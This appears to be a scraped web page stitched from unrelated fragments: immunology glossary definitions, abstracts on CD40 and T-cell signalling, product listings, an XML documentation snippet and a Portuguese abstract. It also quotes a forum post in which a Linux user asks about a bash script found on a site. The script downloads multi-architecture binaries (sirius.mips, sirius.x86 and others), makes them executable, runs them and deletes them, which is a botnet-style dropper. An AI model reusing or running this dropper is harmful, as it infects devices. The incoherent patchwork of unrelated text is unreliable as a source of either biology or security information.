Immunologic techniques based on the use of: (1) enzyme-antibody conjugates; (2) enzyme-antigen conjugates; (3) antienzyme antibody followed by its homologous enzyme; or (4) enzyme-antienzyme complexes. These are used histologically for visualizing or labeling tissue specimens.
Immunoglobulin molecules having a specific amino acid sequence by virtue of which they interact only with the ANTIGEN (or a very similar shape) that induced their synthesis in cells of the lymphoid series (especially PLASMA CELLS).
The phenotypic manifestation of a gene or genes by the processes of GENETIC TRANSCRIPTION and GENETIC TRANSLATION.
A group of differentiation surface antigens, among the first to be discovered on thymocytes and T-lymphocytes. Originally identified in the mouse, they are also found in other species including humans, and are expressed on brain neurons and other cells.
Non-antibody proteins secreted by inflammatory leukocytes and some non-leukocytic cells, that act as intercellular mediators. They differ from classical hormones in that they are produced by a number of tissue or cell types rather than by specialized glands. They generally act locally in a paracrine or autocrine rather than endocrine manner.
The specific failure of a normally responsive individual to make an immune response to a known antigen. It results from previous contact with the antigen by an immunologically immature individual (fetus or neonate) or by an adult exposed to extreme high-dose or low-dose antigen, or by exposure to radiation, antimetabolites, antilymphocytic serum, etc.
Manifestations of the immune response which are mediated by antigen-sensitized T-lymphocytes via lymphokines or direct cytotoxicity. This takes place in the absence of circulating antibody or where antibody plays a subordinate role.
A single, unpaired primary lymphoid organ situated in the MEDIASTINUM, extending superiorly into the neck to the lower edge of the THYROID GLAND and inferiorly to the fourth costal cartilage. It is necessary for normal development of immunologic function early in life. By puberty, it begins to involute and much of the tissue is replaced by fat.
Endogenous tissue constituents that have the ability to interact with AUTOANTIBODIES and cause an immune response.
A group of genetically identical cells all descended from a single common ancestral cell by mitosis in eukaryotes or by binary fission in prokaryotes. Clone cells also include populations of recombinant DNA molecules all carrying the same inserted sequence. (From King & Stansfield, Dictionary of Genetics, 4th ed)
Nuclear antigens encoded by VIRAL GENES found in HUMAN HERPESVIRUS 4. At least six nuclear antigens have been identified.
A soluble substance elaborated by antigen- or mitogen-stimulated T-LYMPHOCYTES which induces DNA synthesis in naive lymphocytes.
A class of immunoglobulin bearing mu chains (IMMUNOGLOBULIN MU-CHAINS). IgM can fix COMPLEMENT. The name comes from its high molecular weight and originally being called a macroglobulin.
A cell line derived from cultured tumor cells.
Measurable and quantifiable biological parameters (e.g., specific enzyme concentration, specific hormone concentration, specific gene phenotype distribution in a population, presence of biological substances) which serve as indices for health- and physiology-related assessments, such as disease risk, psychiatric disorders, environmental exposure and its effects, disease diagnosis, metabolic processes, substance abuse, pregnancy, cell line development, epidemiologic studies, etc.
A sex-specific cell surface antigen produced by the sex-determining gene of the Y chromosome in mammals. It causes syngeneic grafts from males to females to be rejected and interacts with somatic elements of the embryologic undifferentiated gonad to produce testicular organogenesis.
A cell adhesion molecule of the immunoglobulin superfamily that is expressed in ENDOTHELIAL CELLS and is involved in INTERCELLULAR JUNCTIONS.
Antigens stimulating the formation of, or combining with heterophile antibodies. They are cross-reacting antigens found in phylogenetically unrelated species.
CD4-positive T cells that inhibit immunopathology or autoimmune disease in vivo. They inhibit the immune response by influencing the activity of other cell types. Regulatory T-cells include naturally occurring CD4+CD25+ cells, IL-10 secreting Tr1 cells, and Th3 cells.
Antibodies obtained from a single clone of cells grown in mice or rats.
Antigenic determinants recognized and bound by the T-cell receptor. Epitopes recognized by the T-cell receptor are often located in the inner, unexposed side of the antigen, and become accessible to the T-cell receptors after proteolytic processing of the antigen.
The major interferon produced by mitogenically or antigenically stimulated LYMPHOCYTES. It is structurally different from TYPE I INTERFERON and its major activity is immunoregulation. It has been implicated in the expression of CLASS II HISTOCOMPATIBILITY ANTIGENS in cells that do not normally produce them, leading to AUTOIMMUNE DISEASES.
A heterodimeric protein that is a cell surface antigen associated with lymphocyte activation. The initial characterization of this protein revealed one identifiable heavy chain (ANTIGENS, CD98 HEAVY CHAIN) and an indeterminate smaller light chain. It is now known that a variety of light chain subunits (ANTIGENS, CD98 LIGHT CHAINS) can dimerize with the heavy chain. Depending upon its light chain composition a diverse array of functions can be found for this protein. Functions include: type L amino acid transport, type y+L amino acid transport and regulation of cellular fusion.
The hepatitis B antigen within the core of the Dane particle, the infectious hepatitis virion.
Members of the class of compounds composed of AMINO ACIDS joined together by peptide bonds between adjacent amino acids into linear, branched or cyclical structures. OLIGOPEPTIDES are composed of approximately 2-12 amino acids. Polypeptides are composed of approximately 13 or more amino acids. PROTEINS are linear polypeptides that are normally synthesized on RIBOSOMES.
The complex formed by the binding of antigen and antibody molecules. The deposition of large antigen-antibody complexes leading to tissue damage causes IMMUNE COMPLEX DISEASES.
They are oval or bean shaped bodies (1 - 30 mm in diameter) located along the lymphatic system.
The sum of the weight of all the atoms in a molecule.
Technique involving the diffusion of antigen or antibody through a semisolid medium, usually agar or agarose gel, with the result being a precipitin reaction.
A group of the D-related HLA antigens found to differ from the DR antigens in genetic locus and therefore inheritance. These antigens are polymorphic glycoproteins comprising alpha and beta chains and are found on lymphoid and other cells, often associated with certain diseases.
Immunoglobulins produced in response to VIRAL ANTIGENS.
The intracellular transfer of information (biological activation/inhibition) through a signal pathway. In each signal transduction system, an activation/inhibition signal from a biologically active molecule (hormone, neurotransmitter) is mediated via the coupling of a receptor/enzyme to a second messenger system or to an ion channel. Signal transduction plays an important role in activating cellular functions, cell differentiation, and cell proliferation. Examples of signal transduction systems are the GAMMA-AMINOBUTYRIC ACID-postsynaptic receptor-calcium ion channel system, the receptor-mediated T-cell activation pathway, and the receptor-mediated activation of phospholipases. Those coupled to membrane depolarization or intracellular release of calcium include the receptor-mediated activation of cytotoxic functions in granulocytes and the synaptic potentiation of protein kinase activation. Some signal transduction pathways may be part of larger signal transduction pathways; for example, protein kinase activation is part of the platelet activation signal pathway.
Genetically identical individuals developed from brother and sister matings which have been carried out for twenty or more generations, or by parent x offspring matings carried out with certain restrictions. All animals within an inbred strain trace back to a common ancestor in the twentieth generation.
A glycolipid, cross-species antigen that induces production of antisheep hemolysin. It is present on the tissue cells of many species but absent in humans. It is found in many infectious agents.
Elements of limited time intervals, contributing to particular results or situations.
The species Oryctolagus cuniculus, in the family Leporidae, order LAGOMORPHA. Rabbits are born in burrows, furless, and with eyes and ears closed. In contrast with HARES, rabbits have 22 chromosome pairs.
An inhibitory B7 antigen that has specificity for the T-CELL receptor PROGRAMMED CELL DEATH 1 PROTEIN. CD274 antigen provides negative signals that control and inhibit T-cell responses and is found at higher than normal levels on tumor cells, suggesting its potential role in TUMOR IMMUNE EVASION.
Serologic tests based on inactivation of complement by the antigen-antibody complex (stage 1). Binding of free complement can be visualized by addition of a second antigen-antibody system such as red cells and appropriate red cell antibody (hemolysin) requiring complement for its completion (stage 2). Failure of the red cells to lyse indicates that a specific antigen-antibody reaction has taken place in stage 1. If red cells lyse, free complement is present indicating no antigen-antibody reaction occurred in stage 1.
A species of POLYOMAVIRUS originally isolated from Rhesus monkey kidney tissue. It produces malignancy in human and newborn hamster kidney cell cultures.
Conjugated protein-carbohydrate compounds including mucins, mucoid, and amyloid glycoproteins.
Substances that augment, stimulate, activate, potentiate, or modulate the immune response at either the cellular or humoral level. The classical agents (Freund's adjuvant, BCG, Corynebacterium parvum, et al.) contain bacterial antigens. Some are endogenous (e.g., histamine, interferon, transfer factor, tuftsin, interleukin-1). Their mode of action is either non-specific, resulting in increased immune responsiveness to a wide variety of antigens, or antigen-specific, i.e., affecting a restricted type of immune response to a narrow group of antigens. The therapeutic efficacy of many biological response modifiers is related to their antigen-specific immunoadjuvanticity.
Antigens that exist in alternative (allelic) forms in a single species. When an isoantigen is encountered by species members who lack it, an immune response is induced. Typical isoantigens are the BLOOD GROUP ANTIGENS.
Cells artificially created by fusion of activated lymphocytes with neoplastic cells. The resulting hybrid cells are cloned and produce pure MONOCLONAL ANTIBODIES or T-cell products, identical to those produced by the immunologically competent parent cell.
A melanosome-associated protein that plays a role in the maturation of the MELANOSOME.
The genetic region which contains the loci of genes which determine the structure of the serologically defined (SD) and lymphocyte-defined (LD) TRANSPLANTATION ANTIGENS, genes which control the structure of the IMMUNE RESPONSE-ASSOCIATED ANTIGENS, HUMAN; the IMMUNE RESPONSE GENES which control the ability of an animal to respond immunologically to antigenic stimuli, and genes which determine the structure and/or level of the first four components of complement.
Bone marrow-derived lymphocytes that possess cytotoxic properties, classically directed against transformed and virus-infected cells. Unlike T CELLS; and B CELLS; NK CELLS are not antigen specific. The cytotoxicity of natural killer cells is determined by the collective signaling of an array of inhibitory and stimulatory CELL SURFACE RECEPTORS. A subset of T-LYMPHOCYTES referred to as NATURAL KILLER T CELLS shares some of the properties of this cell type.
A technique that combines protein electrophoresis and double immunodiffusion. In this procedure proteins are first separated by gel electrophoresis (usually agarose), then made visible by immunodiffusion of specific antibodies. A distinct elliptical precipitin arc results for each protein detectable by the antisera.
Form of passive immunization where previously sensitized immunologic agents (cells or serum) are transferred to non-immune recipients. When transfer of cells is used as a therapy for the treatment of neoplasms, it is called adoptive immunotherapy (IMMUNOTHERAPY, ADOPTIVE).

Reciprocal control of T helper cell and dendritic cell differentiation. (1/2281)

It is not known whether subsets of dendritic cells provide different cytokine microenvironments that determine the differentiation of either type-1 T helper (TH1) or TH2 cells. Human monocyte (pDC1)-derived dendritic cells (DC1) were found to induce TH1 differentiation, whereas dendritic cells (DC2) derived from CD4+CD3-CD11c- plasmacytoid cells (pDC2) induced TH2 differentiation by use of a mechanism unaffected by interleukin-4 (IL-4) or IL-12. The TH2 cytokine IL-4 enhanced DC1 maturation and killed pDC2, an effect potentiated by IL-10 but blocked by CD40 ligand and interferon-gamma. Thus, a negative feedback loop from the mature T helper cells may selectively inhibit prolonged TH1 or TH2 responses by regulating survival of the appropriate dendritic cell subset.  (+info)

CD40 signaling of monocyte inflammatory cytokine synthesis through an ERK1/2-dependent pathway. A target of interleukin (il)-4 and il-10 anti-inflammatory action. (2/2281)

Ligation of CD40 on monocytes through its interaction with CD40 ligand (CD154) present on activated T helper cells, results in activation of monocyte inflammatory cytokine synthesis and rescue of monocytes from apoptosis induced through serum deprivation. Both of these consequences of CD40 stimulation have been shown to be dependent on the induction of protein tyrosine kinase activity. CD40-mediated activation of protein tyrosine kinase activity and subsequent inflammatory cytokine production are abrogated by treatment of monocytes with the T helper type 2 cytokines interleukin 4 (IL-4) and interleukin 10 (IL-10). In the current study we demonstrate that stimulation of monocytes through CD40 resulted in the phosphorylation and activation of the extracellular signal-regulated kinases 1 and 2 (ERK1/2) mitogen-activated protein kinases, whereas phosphorylation of mitogen-activated protein kinases family members p38 and c-Jun N-terminal kinase was not observed in response to this stimuli over the time course examined. PD98059, an inhibitor of the upstream activator of ERK1/2, the MAP/ERK kinase MEK1/2, suppressed IL-1beta and tumor necrosis factor-alpha production in a dose-dependent fashion. Pretreatment of monocytes with IL-4 and IL-10 inhibited CD40-mediated activation of ERK1/2 kinase activity when used individually, and are enhanced in effectiveness when used in combination. Together, the data demonstrate that CD40-mediated induction of IL-1beta and tumor necrosis factor-alpha synthesis is dependent on a MEK/ERK pathway which is obstructed by signals generated through the action of IL-4 and IL-10.  (+info)

Control of apoptosis in Epstein Barr virus-positive nasopharyngeal carcinoma cells: opposite effects of CD95 and CD40 stimulation. (3/2281)

The expression and function of CD95 and CD40 were investigated in malignant cells from EBV-positive undifferentiated nasopharyngeal carcinomas (NPCs). Large amounts of CD95 and CD40 expression were detected in 15 of 16 EBV-positive NPC specimens. In contrast, CD95 was not detected in two biopsies from patients with EBV-negative differentiated NPCs. We tested whether the CD95 apoptotic pathway was functional in NPC cells by treating two EBV-positive NPC tumor lines in vitro with a CD95 agonist. In both cases, NPC cells were extremely susceptible to CD95-mediated apoptosis, despite strong constitutive expression of Bcl-x. Combined CD40 and CD95 stimulation was used to investigate the possible anti-apoptotic activity mediated by CD40. The CD40 receptor was activated by incubating NPC cells with murine L cells producing CD154, the CD40 ligand. This treatment resulted in a strong inhibition of CD95-related cytotoxicity. Such an anti-apoptotic effect of CD40 is well known for B lymphocytes, but has not previously been reported for epithelial cells. These data suggest that NPC tumor-infiltrating lymphocytes, which often produce the CD40 ligand in situ, may increase the survival of malignant cells, thereby enhancing tumor growth in patients.  (+info)

Expression of stromelysin-3 in atherosclerotic lesions: regulation via CD40-CD40 ligand signaling in vitro and in vivo. (4/2281)

Stromelysin-3 is an unusual matrix metalloproteinase, being released in the active rather than zymogen form and having a distinct substrate specificity, targeting serine proteinase inhibitors (serpins), which regulate cellular functions involved in atherosclerosis. We report here that human atherosclerotic plaques (n = 7) express stromelysin-3 in situ, whereas fatty streaks (n = 5) and normal arterial specimens (n = 5) contain little or no stromelysin-3. Stromelysin-3 mRNA and protein colocalized with endothelial cells, smooth muscle cells, and macrophages within the lesion. In vitro, usual inducers of matrix metalloproteinases such as interleukin-1, interferon-gamma, or tumor necrosis factor alpha did not augment stromelysin-3 in vascular wall cells. However, T cell-derived as well as recombinant CD40 ligand (CD40L, CD154), an inflammatory mediator recently localized in atheroma, induced de novo synthesis of stromelysin-3. In addition, stromelysin-3 mRNA and protein colocalized with CD40L and CD40 within atheroma. In accordance with the in situ and in vitro data obtained with human material, interruption of the CD40-CD40L signaling pathway in low density lipoprotein receptor-deficient hyperlipidemic mice substantially decreased expression of the enzyme within atherosclerotic plaques. These observations establish the expression of the unusual matrix metalloproteinase stromelysin-3 in human atherosclerotic lesions and implicate CD40-CD40L signaling in its regulation, thus providing a possible new pathway that triggers complications within atherosclerotic lesions.  (+info)

Minimal cross-linking and epitope requirements for CD40-dependent suppression of apoptosis contrast with those for promotion of the cell cycle and homotypic adhesions in human B cells. (5/2281)

Eight different CD40 mAb shared with soluble trimeric CD40 ligand (sCD40LT) the capacity to rescue germinal center (GC) B cells from spontaneous apoptosis and to suppress antigen receptor-driven apoptosis in group I Burkitt's lymphoma cells. Three mAb (G28-5, M2 and M3) mimicked sCD40LT in its ability to promote strong homotypic adhesion in resting B cells, whereas others (EA5, BL-OGY/C4 and 5C3) failed to stimulate strong clustering. Binding studies revealed that only those mAb that promoted strong B cell clustering bound at, or near to, the CD40L binding site. While all eight mAb and sCD40LT were capable of synergizing with IL-4 or phorbol ester for promoting DNA synthesis in resting B cells, co-stimulus-independent activation of the cells into cycle through CD40 related directly to the extent of receptor cross-linking. Thus, mAb which bound outside the CD40L binding site synergized with sCD40LT for promoting DNA synthesis; maximal levels of stimulation were achieved by presenting any of the mAb on CD32 transfectants in the absence of sCD40LT or by cross-linking bound sCD40LT with a second antibody. Monomeric sCD40L, which was able to promote rescue of GC B cells from apoptosis, was unable to drive resting B cells into cycle. These studies demonstrate that CD40-dependent rescue of human B cells from apoptosis requires minimal cross-linking and is essentially epitope independent, whereas the requirements for promoting cell cycle progression and homotypic adhesion are more stringent. Possible mechanisms underlying these differences and their physiological significance are discussed.  (+info)

Interaction of B cells with activated T cells reduces the threshold for CD40-mediated B cell activation. (6/2281)

CD154-CD40 interactions are of central importance for the induction of antibody responses to T-dependent antigens. Since most anti-CD40 mAb are only weak B cell mitogens, it is believed that under physiological conditions, signals through CD40 synergize with those from other receptors on B cells to induce B cell activation. We show here that the interaction of either normal B cells, or those from CBA/N (xid) mice, with CD3-activated primary T cells in whole spleen cell cultures markedly reduces the threshold for B cell activation via CD40. Hence, these pre-activated cells undergo vigorous proliferation when stimulated with either optimal or suboptimal concentrations of weakly mitogenic anti-CD40 mAb, or with soluble CD40 ligand. Blocking experiments indicate that the establishment of this priming effect requires stimulation via CD40 itself, plus T cell-derived IL-2. In support of this concept, only CD3/CD28-pre-activated, but not CD3-pre-activated T cells induce this effect, unless the co-cultures of B cells with the latter T cells are supplemented with IL-2. Although B cells activated in this fashion do express higher levels of CD40 than naive cells, we believe that this is insufficient to explain the observed dramatic effects on their proliferative capacity. Rather we propose that T cell-dependent B cell activation induces fundamental changes in the signalling machinery invoked by ligation of CD40. It is likely that this amplification loop could play an important role during the initiation of antibody responses to T-dependent antigens, when activated CD4 T cells only express low levels of CD154.  (+info)

Fas-induced B cell apoptosis requires an increase in free cytosolic magnesium as an early event. (7/2281)

Ligation of the Fas molecule expressed on the surface of a cell initiates multiple signaling pathways that result in the apoptotic death of that cell. We have examined Mg2+ mobilization as well as Ca2+ mobilization in B cells undergoing Fas-initiated apoptosis. Our results indicate that cytosolic levels of free (non-complexed) Mg2+ ([Mg2+]i) and Ca2+ ([Ca2+]i) increase in cells undergoing apoptosis. Furthermore, the percentages of cells mobilizing Mg2+, fragmenting DNA, or externalizing phosphatidylserine (PS) increase in parallel as the concentration of anti-Fas monoclonal antibody is raised. Kinetic analysis suggests that Mg2+ mobilization is an early event in apoptosis, clearly preceding DNA fragmentation and probably occurring prior to externalization of PS as well. The source of Mg2+ that produces the increases in [Mg2+]i is intracellular and most likely is the mitochondria. Extended pretreatment of B cells with carbonyl cyanide m-chlorophenylhydrazone, an inhibitor of mitochondrial oxidative phosphorylation, produces proportional decreases in the percentage of cells mobilizing Mg2+, fragmenting DNA, and externalizing PS in response to anti-Fas monoclonal antibody treatment. These observations are consistent with the hypothesis that elevated [Mg2+]i is required for apoptosis. Furthermore, we propose that the increases in [Mg2+]i function not only as cofactors for Mg2+-dependent endonucleases, but also to facilitate the release of cytochrome c from the mitochondria, which drives many of the post-mitochondrial, caspase-mediated events in apoptotic cells.  (+info)

CD40-activated B-cell chronic lymphocytic leukemia cells for tumor immunotherapy: stimulation of allogeneic versus autologous T cells generates different types of effector cells. (8/2281)

Although spontaneous remissions may rarely occur in B-cell chronic lymphocytic leukemia (B-CLL), T cells do generally not develop a clinically significant response against B-CLL cells. Because this T-cell anergy against B-CLL cells may be caused by the inability of B-CLL cells to present tumor-antigens efficiently, we examined the possibility of upregulating critical costimulatory (B7-1 and B7-2) and adhesion molecules (ICAM-1 and LFA-3) on B-CLL cells to improve antigen presentation. The stimulation of B-CLL cells via CD40 by culture on CD40L expressing feeder cells induced a strong upregulation of costimulatory and adhesion molecules and turned the B-CLL cells into efficient antigen-presenting cells (APCs). CD40-activated B-CLL (CD40-CLL) cells stimulated the proliferation of both CD4(+) and CD8(+) T cells. Interestingly, stimulation of allogeneic versus autologous T cells resulted in the expansion of different effector populations. Allogeneic CD40-CLL cells allowed for the expansion of specific CD8(+) cytolytic T cells (CTL). In marked contrast, autologous CD40-CLL cells did not induce a relevant CTL response, but rather stimulated a CD4(+), Th1-like T-cell population that expressed high levels of CD40L and released interferon-gamma in response to stimulation by CD40-CLL cells. Together, these results support the view that CD40 activation of B-CLL cells might reverse T-cell anergy against the neoplastic cell clone, although the character of the immune response depends on the major histocompatibility complex (MHC) background on which the CLL or tumor antigens are presented. These findings may have important implications for the design of cellular immunotherapies for B-CLL.  (+info)

The data presented here demonstrate that C3 tumor eradication after administration of the E7 peptide and agonistic CD137 mAb, a method effectively breaking immunological ignorance in tumor-specific CTL (15) , is entirely dependent on IFN-γ. This was shown both in mice given an IFN-γ neutralizing mAb and in IFN-γ deficient mice. On closer examination, we found that in the absence of IFN-γ, the total number of tumor-specific CD8+ CTLs infiltrating the tumor was significantly reduced, whereas the generation of these CTLs in lymphoid organs was unaffected. Because IFN-γ was not required to bind its receptor expressed on tumor cells, our results reveal a selective role for IFN-γ in promoting the infiltration of tumor-specific CTLs within the tumor.. Previous in vitro and in vivo studies have demonstrated that CD137 costimulates the production of IFN-γ by CD8+ T cells (4, 5, 6) . CD8+ T cells stimulated by anti-CD137 mAb produced significantly higher levels of IFN-γ than those that were ...
Allergic asthma severity may be associated with IgE levels. We have shown that beta-2 adrenergic receptor (β2AR) engagement on CD40L/IL-4-primed B cells increases the level of IgE produced per cell, without affecting class switch recombination. β2AR agonists alleviate bronchoconstriction by targeting the β2AR expressed on bronchiolar smooth muscle cells to trigger airway relaxation, but these drugs also target the β2AR on primed B cells, potentially producing an IgE effect that may be counterproductive to the drugs intended use. We reported that surface CD23 expression remained constant on primed B cells exposed to a β2AR agonist, while CD23 mRNA, total CD23 protein, and soluble CD23 (sCD23) increased. Thus, if sCD23 positively regulates IgE production, an increase due to β2AR engagement may worsen bronchoconstriction, albeit relieving it in the short term. We hypothesized that the primary sheddase of CD23, ADAM10, is regulated by β2AR engagement on a primed B cell. Although we found that ...
Composition of the CD95 DISC in freshly isolated and cultured GC B cells. (A) CD95 or (B) FADD was immunoprecipitated (IP) from 107 freshly isolated GC B cells
In this video, we demonstrate the procedure of CD40-activation and expansion of murine B cells from splenocytes of C57BL/6 mice, which...
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CD180 (RP105), expressed on dendritic cells and B cells, is a receptor closely related to TLR4. CD180 signaling does not require adaptor proteins like MyD88, instead it resembles B cell receptor (BCR) signaling, including the activation of PI3K and Akt. Recently, others and we have found αCD180 also induces the Pim-1 kinase, but much of the CD180 signaling pathway remains ill defined. We previously found that targeting antigen (Ag) to B cells via CD180, by coupling the Ag to an anti-CD180 antibody (Ag-αCD180), induces a rapid and strong Ag-specific IgG antibody (Ab) response in mice. Furthermore, IgG Ab responses were maintained in immunodeficient mice that lack mature B cells (BAFFR−/−). These studies led us to investigate the signaling events that occur within B cells upon coincident activation of the BCR and CD180. For this study we have employed B1-8hi transgenic mice, which have a BCR that binds to NP-hapten on some splenic B cells, and the K46μm17 murine B cell line, that expresses ...
Clone LG.3A10 recognizes the human and murine CD27 antigen, a member of the tumor necrosis factor receptor family. CD27 is expressed on subsets of B, T, and NK cells. CD27 binds to CD70. This interaction regulates cell activation. | Ísland
CD40L / CD154 antibody [YMF323.6.2] (CD40 ligand) for FACS, WB. Anti-CD40L / CD154 mAb (GTX42386) is tested in Human, Rhesus Monkey, Cynomolgus monkey samples. 100% Ab-Assurance.
We describe the construction of a novel soluble dodecameric form of CD154 (CD40 ligand) that is more effective than trimeric tCD154 in triggering B cell activation. Dodecameric surfactant protein (SP)-D-CD154 was more potent than tCD154 in inducing B cell proliferation over a wide range of concentra …
Immunotherapy with an agonistic anti-CD40 antibody limits adipose tissue inflammation and protects from pre-established metabolic disease in mice Conference Paper ...
The CD40-CD40 ligand (CD40L) interaction is a key event in the initiation of an adaptive immune response, and as such the therapeutic value of CD40L blockade has been studied in many experimental models of tissue transplantation and autoimmune disease. In rodents, transplantation of allogeneic tissues under the cover of anti-CD40L Abs has resulted in prolonged graft survival but not tolerance. In this report, we show that failure to induce tolerance probably results from the inability of anti-CD40L Abs to prevent graft rejection elicited by the CD8+ T cell subset. When the CD8+ T cell population is controlled independently, using anti-CD8 Abs, then tolerance is possible. Transplantation tolerance induced by anti-CD4 mAbs can often be associated with dominant regulation, manifested as infectious tolerance and linked suppression, both of which are mediated by CD4+ T cells. We show here that CD4+ T cells rendered tolerant using anti-CD40L therapy exhibit the same regulatory property of linked suppression,
Expressed immune markers combinations for CD4+/CD8+ T cells included CD40-L, IL-2, TNF-α, IFN-γ, IL-17 and IL-13, as follows: M15=CD4.CD40L(+)+IL-2(+)+TNF-α(-)+IFN-γ(-)+IL-17(-)+IL-13(+); M16=CD4.CD40L(+)+IL-2(+)+TNF-α(-)+IFN-γ(-)+IL-17(-)+IL-13(-); M17=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(+)+IL-17(+)+IL-13(+); M18=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(+)+IL-17(+)+IL-13(-); M19=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(+)+IL-17(-)+IL-13(+); M20=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(+)+IL-17(-)+IL-13(-); M21=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(-)+IL-17(+)+IL-13(+); M22=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(-)+IL-17(+)+IL-13(-); M23=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(-)+IL-17(-)+IL-13(+); M24=CD4.CD40L(+)+IL-2(-)+TNF-α(+)+IFN-γ(-)+IL-17(-)+IL-13(-); M25=CD4.CD40L(+)+IL-2(-)+TNF-α(-)+IFN-γ(+)+IL-17(+)+IL-13(+); M26=CD4.CD40L(+)+IL-2(-)+TNF-α(-)+IFN-γ(+)+IL-17(+)+IL-13(-); M27=CD4.CD40L(+)+IL-2(-)+TNF-α(-)+IFN-γ(+)+IL-17(-)+IL-13(+); ...
Hello people of the malwarebytes forums. Im a new linux user and Ive ran into this from a site. I dont really know what it does. So if someone could shed some light on it would be greatly appreciated #!/bin/bash cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.mips; ./sirius.mips; rm -rf sirius.mips cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.mpsl; ./sirius.mpsl; rm -rf sirius.mpsl cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.sh4; ./sirius.sh4; rm -rf sirius.sh4 cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.x86; ./sirius.x86; rm -rf sirius.x86 cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, cd /; wget; chmod +x sirius.arm6; ./sirius.arm6; rm -rf sirius.arm6 cd /tmp ,, cd /var/run ,, cd /mnt ,, cd /root ,, ...
To rule out the possibility that the altered LC migration in the mutant mice was due to some intrinsic defect rather than the aberrant regulation of TNF-α production, we next had to address whether LC migration could be restored in CD40 ligand −/− mice if an exogenous source of TNF-α was provided. In fact, by administering rTNF-α intradermally into the skin of CD40 ligand −/− mice, LCs were induced to migrate out of the epidermis (Fig. 5 c) to the same extent as observed in C57BL/6 mice treated in the same manner (Fig. 5 b). Likewise, LC mobilization was also induced when the missing CD40 ligand signal was re-established by injecting agonistic anti-CD40 mAb (26)(27) into CD40 ligand −/− (Fig. 5 e) and control (Fig. 5 d) mice, thus ruling out an intrinsic LC migratory defect and indicating an essential role for CD40 signaling and TNF-α in LC migration.. It is intriguing that unsensitized CD40 ligand −/− mice produced significantly higher amounts of TNF-α in their epidermis ...
Human mucosal associated invariant T (MAIT) CD8 + and Tc17 cells are important tissue-homing cell populations, characterized by high expression of CD161 ( ++) and type-17 differentiation, but their origins and relationships remain poorly defined. By transcriptional and functional analyses, we demonstrate that a pool of polyclonal, precommitted type-17CD161 ++CD8αβ + T cells exist in cord blood, from which a prominent MAIT cell(TCR Vα7.2 +) population emerges postnatally. During this expansion, CD8αα T cells appear exclusively within aCD161 ++CD8 +/MAIT subset, sharing cytokine production, chemokine-receptor expression, TCR-usage, and transcriptional profiles with their CD161 ++CD8αβ + counterparts. Our data demonstrate the origin and differentiation pathway of MAIT-cells from a naive type-17 precommitted CD161 ++CD8 +T-cell pool and the distinct phenotype and function of CD8αα cells in man. © 2012 by The American Society of Hematology.
cd:commandgroup name=blank xmlns:cd=> ,cd:shortdesc>The command ,tt>\blank,/tt> is used for inserting vertical blank space. ,/cd:shortdesc> ,cd:variants> ,cd:command category=whitespace file=spac-ver.mkiv interfacedate=2019-11-19T09:54 interfacefile=i-vspace.xml level=document name=blank variantnumber=1> ,cd:arguments> ,cd:keywords list=yes optional=yes ordinal=1> ,cd:keywordsdoc>The first set of options are behaviour modifiers. Starting with ,cd:iref name=default/> there are size options.,/cd:keywordsdoc> ,cd:constant type=preference>good break (shortcut for ,code>penalty:-500,/code>),/cd:constant> ,cd:constant type=samepage>no break (shortcut for ,code>penalty:10000,/code>) ,/cd:constant> ,cd:constant type=max>only if larger,/cd:constant> ,cd:constant type=force>force even if smaller,/cd:constant> ,cd:constant type=enable>,/cd:constant> ,cd:constant type=disable>ignore following,/cd:constant> ,cd:constant ...
View R&D Systems research products for *8145-CD OR *6177-CD OR *3899-CD OR *2724-CD OR *3355-CD OR *2640-LM OR *1186-LM OR *1859-DC OR *1756-DC OR *1180-SE OR *954-SE OR *9168-SE OR *3384-B6 OR *3384-B6 OR *611-B6 OR *5668-A4 OR *6054-A4 OR *5397-A3 OR *8615-A3 OR *2319-L3 OR *3328-L3 OR *981-TR OR *546-TR OR *7579-CD
CD154 (CD40 Ligand), PE, clone: MR1, eBioscience™ 50μg; PE CD154 (CD40 Ligand), PE, clone: MR1, eBioscience™ Primary Antibodies CD151 to CD200
APC anti-human Lineage Cocktail (CD3, CD14, CD19, CD20, CD56) - This anti-Human Lineage Cocktail is optimized for the detection of human lymphocytes, monocytes, eosinophils, and neutrophils.
CD25− CD45RBlow as well as CD25+ CD45RBlow CD4+ cells from infected WT mice protect RAG KO mice against colitis. Infected RAG KO mice were given either no cel
Resumo: CD80 e CD86, também denominados B7.1 e B7.2, são genes proximamente ligados no cromossomo 3 que codificam glicoproteinas da superfamília das imunoglobulinas, expressas na superfície das células apresentadoras de antígeno. Essas moléculas participam na ativação e inibição das células T através da ligação aos receptores CD28 e CTLA-4. Nesse estudo foram analizados polimorfismos dos genes CD80 e CD86 com o objetivo de investigar a diversidade genética, microevolução e relevância funcional. Foram genotipados 1.124 indivíduos, incluindo brasileiros de ancestralidade predominantemente européia, mista africana e européia e japonesa, 5 populações ameríndias e africanos. As regiões promotoras de CD80 e CD86 foram sequenciadas e utilizadas em ensaios de gene repórter com luciferase em células HEK293T. As proteínas foram quantificadas por citometria de fluxo em monócitos, estimulados com quatro ligantes de TLR, de indivíduos com diferentes genótipos. Sítios de ...
Cd19 B Cell Activation, Bcr, Tcr, B Cell Co-receptor - B Cell Activation Cd21 Clipart is high quality 1023*612 transparent png stocked by PikPng. Download it free and share it with more people.
